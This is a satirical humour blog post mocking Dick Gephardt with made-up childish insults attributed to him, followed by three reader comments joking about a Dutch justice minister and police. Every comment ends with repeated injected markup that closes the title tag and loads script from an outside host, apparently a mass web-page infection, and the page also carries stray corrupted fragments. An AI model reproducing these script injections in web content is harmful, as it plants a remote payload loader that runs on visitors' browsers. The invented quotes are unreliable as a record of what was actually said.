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Dick Gephardt calls Bush Big Dumb Poopy Head

by Mark on 1/17/2004 (3)

Big dumb poopy head! WAAAHH!!

A few months ago Democratic candidate Dick Gephardt called Bush a "miserable failure" on foreign policy. It seems he hasn't stopped there...

Gritting his teeth like an Arctic crab fisherman, Dick Gephardt continued his strangely infantile tirade against Bush and his cabinet.

Pumping his fists like an angry squirrel, Gephardt continued his verbal assault, Calling Bush a "big dumb poopy head", Dick Cheney a "goofy jerk face", and Colin Powell a "stupid weiner head".

Pounding his microphone on the podium like a jibba-jabba doll, Gephardt railed: "We will not tolerate jerk-headedness in America anymore! It's time to vote the stinky dummy-jerks out!"

Fellow Democratic cantidate Howard Dean was reportedly seen tearing up his convention program, and muttering something about secretly joining the GOP lineup before November.n.ru

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1. by feaglin on 3/1/2007 4:52:29 PM

in Holland we have a minister Donner who came through a inter-dimensional portal from the 1950s. His policy on violence: If you see someone being beat up, try to startle (yell BOO) the beater, but do not engage in the fight. On vandalism: If you see vandalism taking place, tell the vandals just how you feel by saying: "Hey rascals! Do you also do that at home?" On theft: If you see someone stealing something, also say just how you feel "Hey rascals! Put that steamroller back where you found it and go home to think things over" I would love to see minister Donner stand next to his bicycle (he ALWAYS goes to work on his bicycle) while some junkie is breaking the lock. "Hey rascal! Do you also do that at home?" Junkie pushes the minister away "BOO" Junkie opened the lock and rides away "Put that contraption back where you found it and stop making obscene hand gestures! Go back to your cardboard box and think things over!" A lonely minister Donner is forced to walk, while his sees colleagu, minister Zalm of finance, waves at him from the back seat of his BMW and tells his driver to step on it.?sid </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

2. by Mark Motz on 3/1/2007 4:52:29 PM

In Cleveland Ohio, our police usually fire a warning shot into the suspects head...works every time!m </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

3. by feaglin on 3/1/2007 4:52:29 PM

too bad guns are illegal here, and btw incase you wondered, Donner is the minister of justice src=" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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